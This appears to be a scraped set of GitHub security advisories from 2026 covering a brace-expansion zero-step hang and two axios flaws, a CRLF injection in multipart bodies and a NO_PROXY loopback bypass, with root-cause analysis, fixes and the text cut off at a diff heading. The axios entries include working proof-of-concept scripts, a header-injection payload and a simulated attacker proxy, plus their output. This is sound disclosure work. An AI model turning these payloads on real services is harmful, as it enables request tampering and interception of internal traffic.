"details": "### Impact\n\nA brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.\n\nThe loop in question:\n\nhttps://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184\n\n`test()` is one of\n\nhttps://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113\n\nThe increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.\n\nThis affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.\n\n### Patches\n\n\nUpgrade to versions\n- 5.0.5+\n\nA step increment of 0 is now sanitized to 1, which matches bash behavior.\n\n### Workarounds\n\nSanitize strings passed to `expand()` to ensure a step value of `0` is not used.",
"id": "GHSA-f886-m6hf-6m8v",
"modified": "2026-03-27T21:38:55Z",
"published": "2026-03-26T18:29:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/issues/98"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/95"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/96"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/97"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a"
},
{
"type": "PACKAGE",
"url": "https://github.com/juliangruber/brace-expansion"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "brace-expansion: Zero-step sequence causes process hang and memory exhaustion"
}
GHSA-445Q-VR5W-6Q77
Vulnerability from github – Published: 2026-05-05 00:40 – Updated: 2026-05-05 00:40Summary
The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.
Details
In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:
if (isStringValue) {
value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
// value.type is NOT sanitized for CRLF sequences
headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;
}
Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.
Attack chain:
- Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing
\r\nsequences - The proxy appends the file to a FormData and posts it via
axios.post(url, formData) - axios calls
formDataToStream(), which passesvalue.typeunsanitized into the multipart body - The downstream server receives a multipart body containing injected per-part headers
- The server's multipart parser processes the injected headers as legitimate
This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration.
Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.
PoC
Prerequisites: Node.js 18+, axios (tested on 1.14.0)
const http = require('http');
const axios = require('axios');
let receivedBody = '';
const server = http.createServer((req, res) => {
let body = '';
req.on('data', chunk => { body += chunk.toString(); });
req.on('end', () => {
receivedBody = body;
res.writeHead(200);
res.end('ok');
});
});
server.listen(0, '127.0.0.1', async () => {
const port = server.address().port;
class SpecFormData {
constructor() {
this._entries = [];
this[Symbol.toStringTag] = 'FormData';
}
append(name, value) { this._entries.push([name, value]); }
[Symbol.iterator]() { return this._entries[Symbol.iterator](); }
entries() { return this._entries[Symbol.iterator](); }
}
const fd = new SpecFormData();
fd.append('photo', {
type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
size: 16,
name: 'photo.jpg',
[Symbol.asyncIterator]: async function*() {
yield Buffer.from('MALICIOUS PAYLOAD');
}
});
await axios.post(`http://127.0.0.1:${port}/upload`, fd);
if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
console.log('Received body:\n' + receivedBody);
} else {
console.log('[NOT_VULNERABLE]');
}
server.close();
});
Steps to reproduce:
- npm install axios
- Save the above as poc_axios_crlf.js
- Run node poc_axios_crlf.js
- Observe the output shows [VULNERABLE] with injected headers visible in the multipart body
Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.
Impact
Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.
Suggested fix
In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic.
const safeType = (value.type || 'application/octet-stream')
.replace(/[\r\n]/g, '');
headers += `Content-Type: ${safeType}${CRLF}`;
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42037"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:40:45Z",
"nvd_published_at": "2026-04-24T18:16:30Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\\r\\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.\n\n### Details\nIn `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:\n```\nif (isStringValue) {\n value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n} else {\n // value.type is NOT sanitized for CRLF sequences\n headers += `Content-Type: ${value.type || \u0027application/octet-stream\u0027}${CRLF}`;\n}\n```\nNote that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.\n\n\n### Attack chain:\n\n1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\\r\\n` sequences\n2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`\n3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body\n4. The downstream server receives a multipart body containing injected per-part headers\n5. The server\u0027s multipart parser processes the injected headers as legitimate\n\nThis is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.\nAdditionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.\n\n### PoC\n**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)\n```\nconst http = require(\u0027http\u0027);\nconst axios = require(\u0027axios\u0027);\n\nlet receivedBody = \u0027\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, chunk =\u003e { body += chunk.toString(); });\n req.on(\u0027end\u0027, () =\u003e {\n receivedBody = body;\n res.writeHead(200);\n res.end(\u0027ok\u0027);\n });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n const port = server.address().port;\n\n class SpecFormData {\n constructor() {\n this._entries = [];\n this[Symbol.toStringTag] = \u0027FormData\u0027;\n }\n append(name, value) { this._entries.push([name, value]); }\n [Symbol.iterator]() { return this._entries[Symbol.iterator](); }\n entries() { return this._entries[Symbol.iterator](); }\n }\n\n const fd = new SpecFormData();\n\n fd.append(\u0027photo\u0027, {\n type: \u0027image/jpeg\\r\\nX-Injected-Header: PWNED-by-attacker\\r\\nX-Evil: arbitrary-value\u0027,\n size: 16,\n name: \u0027photo.jpg\u0027,\n [Symbol.asyncIterator]: async function*() {\n yield Buffer.from(\u0027MALICIOUS PAYLOAD\u0027);\n }\n });\n\n await axios.post(`http://127.0.0.1:${port}/upload`, fd);\n\n if (receivedBody.includes(\u0027X-Injected-Header: PWNED-by-attacker\u0027)) {\n console.log(\u0027[VULNERABLE] CRLF injection confirmed in multipart body\u0027);\n console.log(\u0027Received body:\\n\u0027 + receivedBody);\n } else {\n console.log(\u0027[NOT_VULNERABLE]\u0027);\n }\n\n server.close();\n});\n```\n\n### Steps to reproduce:\n\n1. npm install axios\n2. Save the above as poc_axios_crlf.js\n3. Run node poc_axios_crlf.js\n4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body\n\n**Expected behavior**: value.type should be sanitized to strip \\r\\n before interpolation, consistent with the string value path.\n**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.\n\n### Impact\nAny Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.\nConsequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.\naxios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.\n\n### Suggested fix\nIn formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \\r\\n) or use the same escapeName logic.\n```\nconst safeType = (value.type || \u0027application/octet-stream\u0027)\n .replace(/[\\r\\n]/g, \u0027\u0027);\nheaders += `Content-Type: ${safeType}${CRLF}`;\n```",
"id": "GHSA-445q-vr5w-6q77",
"modified": "2026-05-05T00:40:45Z",
"published": "2026-05-05T00:40:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42037"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream"
}
GHSA-PMWG-CVHR-8VH7
Vulnerability from github – Published: 2026-05-05 00:20 – Updated: 2026-05-05 00:201. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.
Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.
The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.
The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.
The patch introduced a hardcoded set of recognized loopback addresses:
// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.
As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.
Verification This bypass has been independently verified on:
- Axios version: 1.15.0 (latest patched release)
- Node.js version: v22.16.0
- OS: Kali Linux (rolling)
The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.
2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location
| Field | Detail |
|---|---|
| File | lib/helpers/shouldBypassProxy.js |
| Primary Flaw | isLoopback() — Line 1–3 |
| Supporting Function | shouldBypassProxy() — Line 59–110 |
| Axios Version | 1.15.0 (Latest Patched Release) |
2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:
// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
let proxy = configProxy;
if (!proxy && proxy !== false) {
const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var
if (proxyUrl) {
if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY
proxy = new URL(proxyUrl); // Step 3: Assign proxy
}
}
}
}
shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.
2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:
Request URL → http://localhost./secret
NO_PROXY → "localhost,127.0.0.1,::1"
Comparison:
"localhost." === "localhost" → FALSE → Proxy used ← BYPASS
"[::1]" === "::1" → FALSE → Proxy used ← BYPASS
Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.
2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:
Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:
const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
// Remove IPv6 brackets: "[::1]" → "::1"
if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
hostname = hostname.slice(1, -1);
}
// Strip trailing FQDN dot: "localhost." → "localhost"
return hostname.replace(/\.+$/, '');
};
Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
|| (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// If both sides are "loopback" → treat as match
Fix C Normalization Applied on Both Sides (Lines 81 & 90)
// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);
2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:
// lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
// ^^^^^^^^^^^
// Only ONE IPv4 loopback address is recognized.
// The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// ^^^^^^^^^
// Returns FALSE for any 127.x.x.x ≠ 127.0.0.1
*RFC 1122 §3.2.1.3 is unambiguous:
"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."
This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.
2.6 Step-by-Step Bypass Execution Trace Environment:
NO_PROXY = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"
Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):
// Step 1 — Parse the request URL
parsed = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2" // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy = "localhost,127.0.0.1,::1" // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
// No brackets → skip
// No trailing dot → skip
// Result: "127.0.0.2" (unchanged)
// Step 4 — Iterate over NO_PROXY entries
// Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost" → false
isLoopback("127.0.0.2") → false ← Set.has() returns false
BYPASS starts here
// Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1" → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1" → false
isLoopback("127.0.0.2") && isLoopback("::1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Step 5 — Final return
shouldBypassProxy() → false
// Axios proceeds to route the request through the configured proxy.
// The attacker's proxy server receives the full request including headers
// and any response from the internal service.
2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).
| Aspect | Original Bug | This Finding |
|---|---|---|
| What was wrong | No normalization before comparison | Incomplete loopback address set |
| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |
| RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 |
| Bypass method | Alternate string representation | Alternate valid loopback address |
| Impact | NO_PROXY bypass → SSRF | NO_PROXY bypass → SSRF (identical) |
**2.8 Total Exposed Address Space**
Protected by patch: 127.0.0.1 (1 address)
Unprotected loopback: 127.0.0.2
through
127.255.255.254 (16,777,213 addresses)
Real-world services that commonly bind to non-standard loopback addresses include:
- Internal microservices and admin dashboards using dedicated loopback IPs
- Development environments with multiple isolated service instances
- Docker and container bridge network configurations
- Test infrastructure allocating sequential loopback IPs across services
3. Comprehensive Attack Vector & Proof of Concept
3.1 Reproduction Steps
Step 1 — Create a fresh project directory
mkdir axios-bypass-test && cd axios-bypass-test
Step 2 — Initialize the project with the patched Axios version
Create package.json:
{
"type": "module",
"dependencies": {
"axios": "1.15.0"
}
}
Install dependencies:
npm install
Verify the installed version:
npm list axios
# Expected output: axios@1.15.0
Step 3 — Create the PoC file (poc.js)
import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
console.log('\n[!] PROXY HIT — Attacker proxy received request!');
console.log(` Method : ${req.method}`);
console.log(` URL : ${req.url}`);
console.log(` Host : ${req.headers.host}`);
res.writeHead(200);
res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
console.log(`\n[*] Testing: ${url}`);
try {
const res = await axios.get(url, { timeout: 2000 });
if (res.data === 'proxied') {
console.log(' Result → [PROXIED] ← BYPASS CONFIRMED');
} else {
console.log(' Result → [DIRECT] ← Safe, no proxy used');
}
} catch (err) {
if (err.code === 'ECONNREFUSED') {
console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)');
}
}
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
// Section A: Cases fixed by the existing patch — expected to go DIRECT
console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
await test('http://localhost:9191/secret');
await test('http://localhost.:9191/secret');
await test('http://[::1]:9191/secret');
// Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
await test('http://127.0.0.2:9191/secret');
await test('http://127.0.0.100:9191/secret');
await test('http://127.1.2.3:9191/secret');
process.exit(0);
}, 500);
Step 4 — Execute the PoC
node poc.js
3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:
=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://localhost.:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://[::1]:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.2:9191/secret
Host : 127.0.0.2:9191
Result → [PROXIED] ← BYPASS CONFIRMED
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.100:9191/secret
Host : 127.0.0.100:9191
Result → [PROXIED] ← BYPASS CONFIRMED
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.1.2.3:9191/secret
Host : 127.1.2.3:9191
Result → [PROXIED] ← BYPASS CONFIRMED
3.3 Analysis of Results The output conclusively demonstrates the following:
Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.
Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.
This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.
4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.
4.1 Who Is Impacted?
Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:
Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment
(common in corporate networks, cloud deployments,
containerised environments, and CI/CD pipelines)
Condition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
to protect loopback or internal services from proxy routing
Affected Deployment Environments | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High|
Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.
4.3 Impact Details
Impact 1 Silent Interception of Internal Service Traffic
When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.
Developer expects: Application → 127.0.0.2:8080 (direct)
Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
- Full request URL
- HTTP method
- All request headers (including Authorization, Cookie, API keys)
- Request body (for POST/PUT requests)
- Full response from the internal service
The developer receives no error or warning. From the application's perspective, the request succeeds normally.
Impact 2 — SSRF Mitigation Bypass
Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.
SSRF Protection (as configured by developer):
NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
All loopback/internal addresses
What is actually protected:
Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
127.0.0.2 through 127.255.255.254 (16,777,213 addresses)
An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.
Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.
While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:
- Retrieve temporary IAM credentials
- Access environment variables containing secrets
- Enumerate internal service configurations
- Pivot to other internal services via the compromised credentials
Impact 4 — Confidential Data Exfiltration
Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:
| Internal Service Type | Exposed Data |
|---|---|
| Admin panels / dashboards | User data, configuration, logs |
| Internal APIs | Business logic, database contents |
| Secret managers / vaults | API keys, tokens, certificates |
| Health check endpoints | Infrastructure topology |
| Development services | Source code, environment variables |
Impact 5 — No Indication of Compromise A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.
4.4 Comparison with Original Vulnerability
| Internal Service Type | Exposed Data | Exposed Data |
|---|---|---|
| Attack method | Use localhost. or [::1] | Use any 127.x.x.x ≠ 127.0.0.1 |
| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 |
| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) |
| Attacker effort | Trivial | Trivial |
| Detection by developer | None | None |
| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) |
The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.
5. Technical Remediation & Proposed Fix
5.1 Vulnerable Code Block
The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:
// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:
// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1
Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.
5.2 Proposed Patched Code
Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:
// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
// Named loopback hostname
if (host === 'localhost') return true;
// IPv6 loopback address
if (host === '::1') return true;
// Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
// Matches any address from 127.0.0.0 through 127.255.255.254
const parts = host.split('.');
return (
parts.length === 4 &&
parts[0] === '127' &&
parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
);
};
5.3 Diff View — Before vs After
// lib/helpers/shouldBypassProxy.js
